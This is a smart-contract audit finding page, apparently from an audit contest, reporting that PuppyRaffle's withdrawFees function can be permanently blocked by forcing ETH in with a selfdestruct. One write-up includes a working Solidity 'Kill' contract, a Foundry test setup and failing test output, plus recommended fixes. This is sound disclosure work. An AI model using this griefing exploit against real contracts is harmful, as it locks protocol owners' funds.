The withdrawFeesfunction sends the fees made from entranceFeesto the feeAddress.
Because the strict equality where address(this).balance has to match uint256(totalFees)funds may be locked in contract if the function reverts because of the require.
Likelihood:
Any attacker can execute this with a single transaction costing only 1 wei plus gas, requiring no special permissions or insider knowledge, making it trivially cheap and accessible for anyone.
Impact:
The feeAddresscan never receive its accumulated protocol fees, and since the totalFeesaccounting remains intact while the actual balance is mismatched, the ETH is permanently locked with no recovery mechanism available to the owner.
If an attacker wants to permanently lock the fees earned by the owner of the protocol it needs to make a mismatch between the balance of the raffle contract and the totalFeesvariable.
Since the raffle contract does not have a receivefunction an attacker deploys a contract that has the raffle as target and calls selfdestructforcing the 1 weiinto the raffle contract making the mismatch so that when calling withdrawFeesit reverts locking the ETH in the contract permanently.
Make the withdrawFeesfunction internal and call it from the selectWinnerfunction so fees are sent to feeAddressat the end of each raffle.
Change the ==to >=in the check of the withdrawFeesfunction so that in edge cases where there is a balance mismatch the function does not revert.
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.